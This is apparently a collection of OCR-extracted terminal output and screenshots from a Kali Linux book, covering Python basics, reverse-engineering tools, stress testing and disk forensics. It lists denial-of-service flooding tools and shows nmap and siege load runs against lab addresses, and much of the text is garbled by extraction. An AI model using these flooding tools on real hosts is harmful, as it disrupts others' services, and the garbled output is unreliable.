2 packets transmitted, 2 received, 0% packet loss, time 999ms
rtt min/avg/max/mdev = 0.023/0.026/0.030/0.006 ms
root@kali:~\# ping -c 2 192.168.56.102
PING 192.168.56.102 (192.168.56.102) 56(84) bytes of data.
64 bytes from 192.168.56.102: icmp_seq=1 ttl=128 time=1.10 ms
64 bytes from 192.168.56.102: icmp_seq=2 ttl=128 time=0.365 ms
--- 192.168.56.102 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1001ms
rtt min/avg/max/mdev = 0.365/0.733/1.101/0.368 ms
root@kali:~\# ping -c 2 192.168.56.103
PING 192.168.56.103 (192.168.56.103) 56(84) bytes of data.
64 bytes from 192.168.56.103: icmp_seq=1 ttl=128 time=0.385 ms
64 bytes from 192.168.56.103: icmp_seq=2 ttl=128 time=0.393 ms
--- 192.168.56.103 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 999ms
rtt min/avg/max/mdev = 0.385/0.389/0.393/0.004 ms
root@kali:~\#

```

```

>>> X = 2
>>> if not (X == 3):
... print(X, "meets the condition 'X != 3'")
... else:
... print("X fails the condition, 'X != 3'")
2 meets the condition 'X != 3'
>>> X = 3
>>> if not (X == 3):
print(X, "meets the condition 'X != 3'")
... else:
... print("X fails the condition, 'X != 3'")
X fails the condition, 'X != 3'
>> X = 0 \# first variable
>> Y = 11 \# limit variable
>> while (X != Y): \#looping condition
... print(X) \# action
... X = X + 1 \# incrementer
...
0
1
2
3
4
5
6
7
8
9
10
>>

```
```

>>> X = random.randint(0,11) \# first variable as a random integer
>>> print (X)
8
>>> print (X)
8
>> X = random.randint(0,11) \# first variable as a random integer
>>> print (X)
6
>>> while (X != Y): \# looping condition
... print(X)
... X = random.randint (0,11)
6
>>> print(Y)
11
>> П
>>> X = random.randint(0,11) \# first variable as a random integer
>>> while (X != Y):
... print(X)
... X = random.randint(0,11)
3
9
3
1
6
10
0
l>>> X = 0
>>> for X in range(1,11):
... print (X)
1
2
3
4
5
6
7
8
9
10
>>> П

```
```

>>> X = 100
>> for X in range(1,11):
print (X)
..
1
2
3
4
5
6
7
8
9
1 0
>>> print (X)
10
>>> X =100
>>> print (X)
100
>>> for Y in range(X,(X+11)):
print ("X =",X,"and Y =", Y )
X = 100 and Y = 100
X = 100 and Y = 101
X = 100 and Y = 102
X = 100 and Y = 103
X = 100 and Y = 104
X = 100 and Y = 105
X = 100 and Y = 106
X = 100 and Y = 107
X = 100 and Y = 108
X = 100 and Y = 109
X = 100 and Y = 110

```

Favorites
01 - Information Gathering
02 - Vulnerability Analysis
03 - Web Application Analysis
04 - Database Assessment
05 - Password Attacks
06 - Wireless Attacks
07 - Reverse Engineering
08 - Exploitation Tools
09 - Sniffing \& Spoofing
10 - Post Exploitation
11 - Forensics
12 - Reporting Tools
13 - System Services
Usual applications
==3444== HEAP SUMMARY:
\(==3444==\quad\) in use at exit: 5,973,782 bytes in 85,958 blocks
\(==3444==\) total heap usage: 880,587 allocs, 794,629 frees, \(72,508,191\) bytes allocated
\(==3444=\)
==3444== Searching for pointers to 84,460 not-freed blocks
\(==3444==\) Checked \(42,816,400\) bytes
==3444==
==3444== LEAK SUMMARY:
==3444== definitely lost: 29,661 bytes in 41 blocks
==3444== indirectly lost: 32,872 bytes in 1,375 blocks
\(==3444==\quad\) possibly lost: 118,188 bytes in 1,697 blocks
\(==3444==\) still reachable: 5,566,893 bytes in 81,347 blocks
\(==3444==\) suppressed: 0 bytes in 0 blocks
\(==3444==\) Rerun with - -leak-check=full to see details of leaked memory
\(=3444==\)
\(==3444==\) Use --track-origins=yes to see where uninitialised values come from
\(==3444==\) ERROR SUMMARY: 24 errors from 5 contexts (suppressed: 0 from 0 )

```

2016-01-18T00:41:46Z +0000
cbfd8d4f96845155898bd322cef680a6 /usr/bin/gedit
0000000000400b10 00000000 T init
0000000000400b40 00000010 P g
0000000000400b50 00000010 P g_object_add_weak_pointer@plt
0000000000400b60 00000010 P g_application_get_type@plt
0000000000400b70 00000010 P g_type_check_instance_cast@plt
0000000000400b80 00000010 P bind_textdomain_codeset@plt
0000000000400b90 00000010 P gedit_dirs_init@plt
0000000000400ba0 00000010 P g_app\̄ication_run@plt
0000000000400bb0 00000010 P setlocale@plt
0000000000400bc0 00000010 P bindtextdomain@plt
0000000000400bd0 00000010 P __stack_chk_fail@plt
0000000000400be0 00000010 P \overline{gedit_app_x111_get_type@plt}
0000000000400bf0 00000010 P g_object_unref@plt
0000000000400c00 00000010 P textdomain@plt
0000000000400c10 00000010 P g_object_run_dispose@plt
0000000000400c20 00000010 P __libc_start_main@plt
0000000000400c30 00000010 P gedit_dirs_get_gedit_locale_dir@plt
0000000000400c40 00000010 P __gmon_start__@plt
0000000000400c50 00000010 P \overline{gedit_\overline{debug_message@plt}}\mathbf{T}\mathrm{ - }
0000000000400c60 0000013c T main
0000000000400d9c 00000000 T _start
0000000000400ea0 00000065 T - libc_csu_init
0000000000400f10 00000002 T __libc_csu_fini
0000000000400f14 00000000 T fini
0000000000400f20 00000004 D _IO_stdin_used
00000000006020a8 00000000 D __data_start
00000000006020a8 00000000 D data_start
00000000006020b8 00000000 D __bss_start
00000000006020b8 00000000 D \overline{_edat}\overline{a}
00000000006020c0 00000000 D _end
gedit.map (END)

```
|root@kali:/usr/bin\# ./wine
it looks like multiarch needs to be enabled. as root, please
execute "dpkg --add-architecture i386 \&\& apt-get update \&\&
apt-get install wine32"
Usage: wine PROGRAM [ARGUMENTS...] Run the specified program
        wine --help Display this help and exit
    wine --version Output version information and exit

```

Jad v1.5.8e. Copyright 2001 Pavel Kouznetsov (kpdus@yahoo.com).
Usage: jad [option(s)] <filename(s)>
Options: -a - generate JVM instructions as comments (annotate)
-af - output fully qualified names when annotating
-b - generate redundant braces (braces)
-clear - clear all prefixes, including the default ones
-d <dir> - directory for output files
-dead - try to decompile dead parts of code (if there are any)
-dis - disassembler only (disassembler)
-f - generate fully qualified names (fullnames)
-ff - output fields before methods (fieldsfirst)
-i - print default initializers for fields (definits)
-l<num> - split strings into pieces of max <num> chars (splitstr)
-lnc - output original line numbers as comments (lnc)
-lradix<num>- display long integers using the specified radix
-nl - split strings on newline characters (splitstr)

```
```

1
2 class KaliBookApp {
3 public static void main(String[] args) {
4 System.out.println("Learning to use Kali Linux is ");
5 ~ S y s t e m . o u t . p r i n t l n ( " A ~ G a t e w a y ~ t o ~ P r o t e c t i n g ~ " ) ;
6 System.out.println("Your Network ");
7 }
8 }
|root@kali:~/Documents/capstone\# jad -sjava KaliBookApp.class
Parsing KaliBookApp.class...The class file version is 51.0 (only 45.3, 46.0 and
47.0 are supported)
Overwrite KaliBookApp.java [y/n/a/s] ? ?
Please answer 'y' for Yes, 'n' for No, 'a' for overwrite All, 's' for Skip all e
xisting. [y/n/a/s] ?a
Generating KaliBookApp.java
root@kali:~/Documents/capstone\# cat KaliBookApp.java
// Decompiled by Jad v1.5.8e. Copyright 2001 Pavel Kouznetsov.
// Jad home page: http://www.geocities.com/kpdus/jad.html
// Decompiler options: packimports(3)
// Source File Name: KaliBookApp.java
import java.io.PrintStream;
class KaliBookApp
{
KaliBookApp()
{
}
public static void main(String args[])
{
System.out.println("Learning to use Kali Linux is ");
System.out.println("A Gateway to Protecting ");
System.out.println("Your Network ");
}
}

```
```

root@kali:~\# aptitude search capstone
p libcapstone-dev - lightweight multi-architecture disassembly
p libcapstone-dev:i386 - lightweight multi-architecture disassembly
i A libcapstone3 - lightweight multi-architecture disassembly
libcapstone3:i386 - lightweight multi-architecture disassembly
A python-capstone - lightweight multi-architecture disassembly
p python-capstone:i386 - lightweight multi-architecture disassembly
root@kali:~\# aptitude install libcapstone-dev
The following NEW packages will be installed:
libcapstone-dev
0 packages upgraded, 1 newly installed, 0 to remove and 8 not upgraded.
Need to get }806\mathrm{ kB of archives. After unpacking 4,123 kB will be used.
Get: 1 http://http.kali.org/kali/ sana/main libcapstone-dev amd64 3.0-0kali1 [80
6 kB]
Fetched 806 kB in 0s (1,094 kB/s)
Selecting previously unselected package libcapstone-dev.
(Reading database ... 339298 files and directories currently installed.)
Preparing to unpack .../libcapstone-dev_3.0-0kalil_amd64.deb ...
Unpacking libcapstone-dev (3.0-0kali1)
Setting up libcapstone-dev (3.0-0kalil) ...
|root@kali:~/Documents/capstone\# cat simple_disassembler.py

# capstone_disassembler.py

\#!/usr/bin/env python

# basic example

from capstone import *
hexcode = b"\x55\x48\x8b\x05\xb8\x13\x00\x00"
md = Cs(CS_ARCH_X86, CS_MODE_64)
for i in m\overline{d}.disasm(hexcōde, \overline{0x1000):}
print("0x%x:\t%s\t%s" %(i.address, i.mnemonic, i.op_str))
root@kali:~/Documents/capstone\# python simple_disassembler.py
0x1000: push rbp
0x1001: mov rax, qword ptr [rip + 0x13b8]
root@kali:~/Documents/capstone\#

```
```

root@kali:~\# radare2 -h
Usage: r2 [-dDwntLqv] [-P patch] [-p prj] [-a arch] [-b bits] [-i file]
[-s addr] [-B blocksize] [-c cmd] [-e k=v] file|-
-a [arch] set asm.arch
-A run 'aa' command to analyze all referenced code
-b [bits] set asm.bits
-B [baddr] set base address for PIE binaries
-c 'cmd..' execute radare command
-C file is host:port (alias for -c+=http://%s/cmd/)
use 'file' as a program to debug
D [backend] enable debug mode (e cfg.debug=true)
-e k=v evaluate config var
-f block size = file size
-i [file] run script file
-k [kernel] set asm.os variable for asm and anal
-l [lib] load plugin file
-L list supported IO plugins
-n disable analysis
-N disable user settings
-q quiet mode (no prompt) and quit after -i
-p [prj] set project file
-P [file] apply rapatch file and quit
-s [addr] initial seek
-m [addr] map file at given address
-t load rabin2 info in thread
-v, -V show radare2 version (-V show lib versions)
-w open file in write mode
-h, -hh show help message, -hh for long
root@kali:~\# radare2 -L

| rw | zip | Open zip files apk://foo.apk or zip://foo.apk/classes.dex |
| :---: | :---: | :---: |
| ${ }_{\text {rw }}{ }^{\text {r }}$ | shm rap | shared memory resources (shm://key) <br> radare network protocol (rap://:port rap://host:port/file) |
| rwd | ptrace | ptrace and /proc/pid/mem (if available) io |
| rw | procpid | proc/pid/mem io |
| rw | mmap | open file using mmap:// |
| rw | malloc | memory allocation (malloc://1024 hex://10294505) |
| r | mach | mach debug io (unsupported in this platform) |
| rw | ihex | Intel HEX file (ihex://eeproms.hex) |
| rw | http | http get (http://radare.org/) |
| rw- | haret | Attach to Haret WCE application (haret://host:port) |
| rwd | gdb | Attach to gdbserver, 'qemu -s', gdb://localhost:1234 |
| d | debug | Debug a program or pid. dbg:///bin/ls, dbg://1388 |
| rw | bfdbg | BrainFluel Debugger (bfdbg://path/to/file) |

```
```

root@kali:~/radare\# rasm2 -h
Usage: rasm2 [-CdDehLBvw] [-a arch] [-b bits] [-o addr] [-s syntax]
[-f file] [-F fil:ter] [-i skip] [-l len] 'code'|hex|-
-a [arch] Set architecture to assemble/disassemble (see -L)
-b [bits] Set cpu register size (8, 16, 32, 64) (RASM2_BITS)
-c [cpu] Select specific CPU (depends on arch)
-C Output in C format
-d, -D Disassemble from hexpair bytes (-D show hexpairs)
-e Use big endian instead of little endian
-f [file] Read data from file
-F [in:out] Specify input and/or output filters (att2intel, x86.pseudo, ...)
-h Show this help
-i [len] ignore/skip N bytes of the input buffer
-k [kernel] Select operating system (linux, windows, darwin, ..)
-l [len] Input/Output length
-L List supported asm plugins
-o [offset] Set start address for code (default 0)
-s [syntax] Select syntax (intel, att)
-B Binary input/output (-l is mandatory for binary input)
-v Show version information
-w What's this instruction for? describe opcode
If '-l' value is greater than output length, output is padded with nops
If the last argument is '-' reads from stdin
root@kali:~\# rahash2 -h
Usage: rahash2 [-rBhLkv] [-b sz] [-a algo] [-s str] [-f from] [-t to] [file] ...
-a algo comma separated list of algorithms (default is 'sha256')
-b bsize specify the size of the block (instead of full file)
-B
show per-block hash
start hashing at given address
f from start hashing at given add
-S seed use given seed (hexa or s:string) use ^ to prefix
-k show hash using the openssh's randomkey algorithm
-q run in quiet mode (only show results)
-L list all available algorithms (see -a)
-r output radare commands
-s string hash this string instead of files
-t to stop hashing at given address
-v show version information
root@kali:~\#
root@kali:~/Documents/capstone\# rahash2 simple_disassembler.py
simple disassembler.py: 0x00000000-0x0000010d sha256: 57494d10009e49e062fbed66d4 53ec6c-09c619e912f26a3bbb2249de1f3d2b8b
root@kali:~/Documents/capstone\# echo "\# Added text" >> simple_disassembler.py
root@kali:~/Documents/capstone\# rahash2 simple_disassembler.py
simple_disassembler.py: 0x00000000-0x0000011a sha256: d79cb3da61423c5983203e8540
724445\overline{6}30732d13125ac0a92190dcdc8b99be4
root@kali:~/Documents/capstone\#

```
```

root@kali:~/radare\# tail /var/log/messages > diff2
root@kali:~/radare\# tail /var/log/messages > diff1
root@kali:~/radare\# radiff2 -c -g * -t diff1 diff2
WARN: Use '-e bin.rawstr=true' or 'rabin2 -zz' to find strings on unknown file t
ypes
WARN: Use '-e bin.rawstr=true' or 'rabin2 -zz' to find strings on unknown file t
ypes
digraph code {
graph [bgcolor=white];
node [color=lightgray, style=filled shape=box fontname="Courier" fontsiz
e="8"];
"0x00000000_0x00000000" -> "0x00000000_0x000000bc" [color="green"];
"0x00000000-0x000000000" -> "0x000000000-0x00000053" [color="red"];
"0x00000000_0x00000̄000" [color="\ightgray", l\overline{abel="/ (fcn) fcn.00000000 2112<br>l}
0x00000000 invalid\l| 0x00000001 invalid\l| 0x00000002 outsb\l| 0x000000c
3 and [rcx], dh\l| 0x00000005 cmp [rax], ah\l| 0x00000007 xor [rdi], dh\l|
Usage: rafind2 [-Xnzhv] [-b sz] [-f/t from/to] [-[m|s|e] str] [-x hex] file ..
root@kali:~/Documents/capstone\# rafind -s "i.mnemonic" simple_disassembler.py
bash: rafind: command not found
root@kali:~/Documents/capstone\# rafind2
Usage: rafind2 [-Xnzhv] [-b sz] [-f/t from/to] [-[m|s|e] str] [-x hex] file ..
root@kali:~/Documents/capstone\# rafind2 -s "i.mnemonic" simple_disassembler.py
0xf6
root@kali:~/Documents/capstone\# rafind2 -s "evil hacker" simple_disassembler.py
root@kali:~/Documents/capstone\#

```

```

root@kali:~\# rax2 123
0x7b
root@kali:~\# rax2 0x1abc4
109508
root@kali:~\# rax2 290887.3f
Fxea088e48
root@kali:~\# rax2 345o
0xe5
root@kali:~\# rax2 -x Kali Rocks!
0x507539ca
0xb7e5a922
root@kali:~\# rax2 -x Kali_Rocks!
0xfc60fcf2
root@kali:~\#

```
\begin{tabular}{|c|c|c|}
\hline Subcategories of Stress-Testing & Tools in Kali 1.x (default menu) & Tools in Kali 2.0 (There is no Stress-Testing
menu) \\
\hline Network Stress Testing & \begin{tabular}{l}
denial \\
dhcpig \\
dos-new-ip6 \\
flood_advertise6 \\
flood_dhcpe6 \\
flood_mld26 \\
flood_mld6 \\
flood_mldrouter6 \\
/usr/bin/flood_redir6 \\
flood_router26 \\
flood_router6 \\
/ust/bin/atk6- \\
flood_rs6 \\
flood_solicitate6 \\
fragmentation6 \\
inundator \\
kill_router6 \\
macof \\
rsmurf6 \\
siege \\
smurf6 \\
t 50
\end{tabular} & \begin{tabular}{l}
/ust/bin/atk6-denial6 \\
/usr/bin/atk6-dos-new-ip6 /usr/bin/atk6-flood_advertise6 /usr/bin/atk6-flood_dhcpc6 /ust/bin/atk6-flood_mld26 /usr/bin/atk6-flood_mld6 /usr/bin/atk6-flood_mldrouter6 /usr/bin/atk6-flood_redir6 /usr/bin/atk6-flood_router26 /usr/bin/atk6-flood_router6 /usr/bin/atk6-flood_rs6 \\
/usr/bin/atk6-flood_solicitate6 /ust/bin/atk6-fragmentation6 \\
/usr/bin/atk6-kill_router6 /ust/sbin/macof /usr/bin/atk6-rsmurf6 /ust/bin/siege /usr/bin/siege.config /usr/bin/atk6-smurf6 /ust/bin/t50
\end{tabular} \\
\hline VoIP Stress Testing & iaxflood inviteflood & /ust/bin/iaxflood /usr/bin/inviteflood \\
\hline Web Stress Testing & The-ssl-dos & /ust/bin/thc-ssl-dos \\
\hline WLAN Stress Testing & mdk3 reaver & \begin{tabular}{l}
/ust/bin/mdk3 \\
/usr/bin/reaver
\end{tabular} \\
\hline
\end{tabular}
root@kali:~\# /usr/bin/atk6-denial6
/usr/bin/atk6-denial6 v2.5 (c) 2013 by van Hauser / THC <vh@thc.org> www.thc.org
Syntax: /usr/bin/atk6-denial6 interface destination test-case-number
Performs various denial of service attacks on a target
If a system is vulnerable, it can crash or be under heavy load, so be careful!
If not test-case-number is supplied, the list of shown.
```

|root@kali:~\# nmap -A 192.168.56.103
Starting Nmap 7.01 ( https://nmap.org ) at 2016-01-18 21:13 EST
Nmap scan report for 192.168.56.103
Host is up (0.00058s latency).
Not shown: 995 filtered ports
PORT STATE SERVICE VERSION
139/tcp open netbios-ssn Microsoft Windows 98 netbios-ssn
445/tcp open microsoft-ds Microsoft Windows 10 microsoft-ds
2869/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
5357/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Service Unavailable
10}243/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP
| http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found

```
MĀC Address: 08:00:27:47:6B:67 (Oracle VirtualBox virtual NIC)
|root@kali:~/Documents/capstone\# siege 192.168.56.103
** SIEGE 3.0.8
** Preparing 15 concurrent users for battle.
The server is now under siege...
\({ }^{\wedge}\) C
Lifting the server siege... done.
Transactions: 8072 hits
Availability: 100.00 \%
Elapsed time: 272.59 secs
Data transferred: 5.30 MB
Response time:
Transaction rate:
Throughput: \(0.02 \mathrm{MB} / \mathrm{sec}\)
    0.00 secs
    29.61 trans/sec
Concurrency: 0.13
Successful transactions: 8072
Failed transactions:
                                0
    3.01
Shortest transaction:
0.00

FILE: /var/log/siege.log
You can disable this annoying message by editing
the .siegerc file in your home directory; change
the directive 'show-logfile' to false.
```

root@kali:/media/cdrom0\# /usr/bin/siege.config
siege.config
usage: siege.config [no arguments]
Resource file already install as /root/.siegerc
Use your favorite editor to change your configuration by
editing the values in that file.

```
```

156 connection = close
1 5 7
158 \#
159 \# Default number of simulated concurrent users
160 \# ex: concurrent = 25
161 \#
162 concurrent = 15
1 6 3

```
```

root@kali:~\# siege 192.168.56.102
** SIEGE 3.0.8
** Preparing 625 concurrent users for battle.
The server is now under siege...^C
Lifting the server siege... done.
Transactions: 43854 hits
Availability: 100.00 %
Elapsed time: }59.00\mathrm{ secs
Data transferred: 28.82 MB
Response time:
Transaction rate:
Throughput:
Concurrency:
Successful transactions:
4 3 8 5 4
Failed transactions: 0
Longest transaction: 1.70
Shortest transaction: 0.00
FILE: /var/log/siege.log
You can disable this annoying message by editing
the .siegerc file in your home directory; change
the directive 'show-logfile' to false.
\root@kali:~\#

```

\section*{Chapter 10: Forensics}

"the quieter you become, the more you are able to hear"
\begin{tabular}{|ll|}
\hline \multicolumn{2}{|c|}{ Boot menu } \\
Live (amd64) & \\
Live (amd64 failsafe) & \\
Live (forensic mode) & \\
\hline Live USB Persistence & (check kali.org/prst) \\
Live USB Encrypted Persistence & (check kali.org/prst) \\
Install & \\
Graphical install & \\
Install with speech synthesis & \\
Advanced options & \\
\hline
\end{tabular}



\begin{tabular}{|c|c|c|c|c|c|}
\hline \[
\begin{gathered}
\text { Serial } \\
\mathrm{nr} .
\end{gathered}
\] & Linux device & Model & State & Size & Hidden areas \\
\hline VB02c24b38-da42e982 & \(/ \mathrm{dev} / \mathrm{sdc}\) & ATA VBOX HARDDISK & Running & 53.7GB & HPA:No / DCO:Unknown \\
\hline VB3f8eal bf-80493552 & \(/ \mathrm{dev} / \mathrm{sdb}\) & ATA VBOX HARDDISK & \(\bigcirc\) Used in clone operation & 107.4GB & HPA:No / DCO:Unknown \\
\hline \multirow[t]{2}{*}{VB2c4230e4-46a9fb 87} & \multirow[t]{2}{*}{\begin{tabular}{l}
Acquire image \\
Clone device \\
Abort \\
Info
\end{tabular}} & - VBOX HARDDISK & O Idle & 32.2 GB & unknown \\
\hline & & & & & \\
\hline
\end{tabular}

\section*{Clone /dev/sdc}

\section*{Destination}
\begin{tabular}{|c|c|c|c|c|c|}
\hline \begin{tabular}{c} 
Serial \\
nr.
\end{tabular} & \begin{tabular}{c} 
Linux \\
device
\end{tabular} & \multicolumn{1}{c|}{ Model } & \multicolumn{1}{c|}{ Size } & \multicolumn{1}{|c|}{ Remark } \\
\hline VB02c24b38-da42e982 & /dev/sdc & ATA VBOX HARDDISK & 53.7 GB & Device to be cloned \\
\hline VB3f8ealbf-80493552 & /dev/sdb & ATA VBOX HARDDISK & 107.4 GB & Ok for cloning \\
\hline VB2c4230e4-46a9fb87 & /dev/sda & ATA VB0X HARDDISK & 32.2 GB & Too small \\
\hline
\end{tabular}

Info directory \(\square\) /root/guymager/

Info filename (without extension) kali2clone

\section*{Hash calculation / verification}Calculate MD5 Calculate SHA-1Re-read source after acquisition for verification (takes twice as long)Verify image after acquisition (takes twice as long)







\section*{File System Details}

Analysis of the image file shows the following partitions:
\(\qquad\)
\(\qquad\)
For your reference, the mmls output was the following:

File Edit View History Bookmarks Tools Help
Add a new image to a... \(\times\) そ
- localhost:9999/autopsy?mod=0\&view=15\&img_path=\%2Fmedia\%2Froot\%2Fusbdisk\%,

\section*{Calculating MD5 (this could take a while)}




偶 Extracting Strings
× 倲 Autopsy grep Cheat ．．．\(\times\) \＆（2）localhost：9999／autopsy？md5＝1\＆mod＝0\＆view＝20\＆vol＝vol1\＆host＝win7－01．lab1．bon

Extracting ASCII strings from win70020160202B．dd－disk Host configuration file updated Calculating MD5 Value

MD5 Value：3DEDAE329834F1F6E8231 C34F1ACEDBD

Extracting Unicode strings from win70020160202B．dd－disk
Host configuration file updated
Calculating MD5 Value
MD5 Value：4C351F905446DE6FD25A0F784EBFFF90

Image Details
Keyword Search


\section*{Case: HalWin7} Host: HalWin7

\section*{ADD A NEW IMAGE}

\section*{1. Location}

Enter the full path (starting with /) to the image file.
If the image is split (either raw or EnCase), then enter '*' for the
extension.
/media/root/KaliBook/win7-kb-chap10/win7.img
2. Type

Please select if this image file is for a disk or a single partition.
○ Disk
- Partition

\section*{3. Import Method}

To analyze the image file, it must be located in the evidence locker. It can be imported from its current location using a symbolic link, by copying it, or by moving it. Note that if a system failure occurs during the move, then the image could become corrupt.
○ Symlink
O Copy
O Move

\section*{NEXT}

\section*{Image File Details}

Local Name: images/win7.img
Data Integrity: An MD5 hash can be used to verify the integrity of the image. (With split images, this hash is for the full image file)
- Ignore the hash value for this image.

O Calculate the hash value for this image.
O Add the following MD5 hash value for this image: \(\square\)

Verify hash after importing?

\section*{File System Details}

Analysis of the image file shows the following partitions:

```

Testing partitions
Linking image(s) into evidence locker
Image file added with ID imgl
Volume image (0 to 0-ntfs - C:) added with ID voll

```
\(\qquad\)

Case: win7-02.lab1.boweaver.net
Host: win7-02.lab1.boweaver.net
Select a volume to analyze or add a new image file.

\begin{tabular}{|c|c|c|c|c|c|c|c|}
\hline File Analysis & Keyword Search & File Type & Image Detalls & Meta Data & Data Unit & Help & Close \\
\hline & & & & & & ? & X \\
\hline
\end{tabular}

To start analyzing this volume, choose an analysis mode from the tabs above.




\begin{tabular}{|c|c|c|c|c|c|c|}
\hline \multicolumn{2}{|r|}{FILE ANALYSIS KEYwordsearch} & \[
\begin{gathered}
\text { FILE TYPE } \\
0
\end{gathered}
\] & \begin{tabular}{l}
Image Detalls \\
Meta Data
\end{tabular} & Data Unit & \[
\begin{gathered}
\text { HELP } \\
? \\
\hline
\end{gathered}
\] & \[
\begin{gathered}
\text { CLOSE } \\
\mathrm{X} \\
\hline
\end{gathered}
\] \\
\hline \multicolumn{7}{|l|}{\begin{tabular}{l}
View Sorted Files \\
The sorter tool will process an image and organize the files based on their file type. The files are organized into categories that are defined in configuration files. The categories will be saved in the output directory.
\end{tabular}} \\
\hline & \begin{tabular}{l}
WARNING: This /var/lib/autopsy/ \\
Sort files into
Do not
Save a
Save ON (may requi types) \\
Extension an
\end{tabular} & \begin{tabular}{l}
overwr \\
7-02. labl \\
tegories \\
e data a \\
\(y\) of files \\
graphic lots of d \\
ile Type
\end{tabular} & \begin{tabular}{l}
any existing data in: \\
aver.net/win7-02. labl. boweave type \\
t unknown file types \\
category directory (may \\
ages and make thumbna space and will save to a \\
idation
\end{tabular} & \begin{tabular}{l}
output/sort \\
re lots of \\
ent direc
\end{tabular} & \begin{tabular}{l}
oll/ \\
sk sp \\
\(y\) tha
\end{tabular} & \begin{tabular}{l}
ce) \\
sorting all file
\end{tabular} \\
\hline
\end{tabular}


\begin{tabular}{|c|c|c|c|c|c|c|c|c|}
\hline & File Analysis & KEYWORDSEARCH & \[
\begin{gathered}
\text { FILE TYPE } \\
0
\end{gathered}
\] & Image Detalls & Meta Data & DATA UnIt & \[
\begin{gathered}
\text { HELP } \\
? \\
\hline
\end{gathered}
\] & \[
\begin{gathered}
\text { CLOSE } \\
\mathrm{X} \\
\hline
\end{gathered}
\] \\
\hline \multicolumn{2}{|l|}{\multirow[t]{3}{*}{\begin{tabular}{l}
Sort Files by Type \\
View Sorted Files
\end{tabular}}} & \multicolumn{7}{|c|}{File Type Sorting} \\
\hline & & \multicolumn{7}{|l|}{\begin{tabular}{l}
Autopsy does not currently support viewing the sorted files. After sorting, you can view the results by opening the following file: \\
/var/lib/autopsy/win7-02. labl. boweaver.net/win7-02. labl.boweaver. net/output/sorter-voll/index.html
\end{tabular}} \\
\hline & & \multicolumn{7}{|c|}{Copy and paste path in new browser tab} \\
\hline
\end{tabular}


\section*{Images}
- /var/lib/autopsy/win7-02.lab1.boweaver.net/win7-02.lab1.boweaver.net/images/win7.img

\section*{Files (350565)}

Files Skipped (29404)
- Non-Files (29404)
- Reallocated Name Files (1747)
- 'ignore' category (0)

\section*{Extensions}
- Extension Mismatches (13597)

Categories (319414)
- archive (461)
- audio (727)
- compress (45320)
- crypto (65)
- data (127988)
- disk (7)
- documents (32851)
- exec (39725)
- images (7138)
- system (562)
- text (56150)
- unknown (8420)
- video (0)
\begin{tabular}{|c|c|c|c|c|c|c|c|}
\hline \multicolumn{8}{|l|}{\multirow[t]{2}{*}{\begin{tabular}{l}
Eile Edit View History Bookmarks Tools Help \\
win7-02.lab1.boweav... \(\times\) documents Category
\end{tabular}}} \\
\hline & & & & & & & \\
\hline \multicolumn{8}{|l|}{\& (3) sy/win7-02.lab1.boweaver.net/win7-02.lab1.boweaver.net/output/sorter-voli/document C Q search} \\
\hline \multicolumn{8}{|l|}{} \\
\hline \multicolumn{8}{|l|}{Image: /var/lib/autopsy/win7-02.lab1.boweaver.net/win7-02.lab1.boweaver.net/images/win7.img Inode: 61481-128-4} \\
\hline \multicolumn{8}{|l|}{\begin{tabular}{l}
C:/Windows/winsxs/Manifests/amd64_microsoft-windows- \\
e..ebargadgetresources_31bf3856ad364e35_6.1.7600.16385_none_88767a95b8bbf001.manifest \\
XML document text \\
Image: /var/lib/autopsy/win7-02.lab1.boweaver.net/win7-02.lab1.boweaver.net/images/win7.img Inode: 61482-128-4
\end{tabular}} \\
\hline \multicolumn{8}{|l|}{\begin{tabular}{l}
C:/Windows/winsxs/Manifests/amd64_microsoft-windows-e..ehprivjob.resources_31 bf3856ad364e35_6.1.7600.16385_enus_f2d8dcb146b08b94.manifest \\
XML document text \\
Image:/var/lib/autopsy/win7-02.lab1.boweaver.net/win7-02.lab1.boweaver.net/images/win7.img Inode: 61483-128-4
\end{tabular}} \\
\hline \multicolumn{8}{|l|}{\begin{tabular}{l}
C:/Windows/winsxs/Menifests/amd64 microsoft-windows- \\
e..epassword.resources_31bf3856ad3̄64e35_6.1.7600.16385_en-us_5d17b25094805cf6.manifest XML document text Image: /var/lib/autop \(\$ \mathrm{y} / \mathrm{win7} 7-02 . l a b 1\).boweaver.net/win7-02.lab1.boweaver.net/images/win7.img Inode: 61484-128-4
\end{tabular}} \\
\hline \multicolumn{8}{|l|}{\begin{tabular}{l}
C:/Windows/winsxs/Manifests/amd64_microsoft-windows- \\
e..mcewmdrmndbootstrap_31bf3856ād364e35_6.1.7601.17514_none_916b7987c832cdee.manifest XML document text Image: /var/lib/autopsy/win7-02.lab1.boweaver.net/win7-02.lab1.boweaver.net/images/win7.img Inode: 61491-128-4
\end{tabular}} \\
\hline \multicolumn{8}{|l|}{\begin{tabular}{l}
C:/Windows/winsxs/Manifests/amd64_microsoft-windows- \\
e..mmandline.resources_31bf3856ad364e35_6.1.7600.16385_en-us_908e3b2110ef94f2.manifest \\
XML document text \\
Image: /var/lib/autopsy/win7-02.lab1.boweaver.net/win7-02.lab1.boweaver.net/images/win7.img Inode: 61492-128-4
\end{tabular}} \\
\hline \multicolumn{8}{|l|}{} \\
\hline password & \(\wedge\) & \(\checkmark\) & Highlight All & Match Case & 1 of 4 matches & & \(\times\) \\
\hline
\end{tabular}```

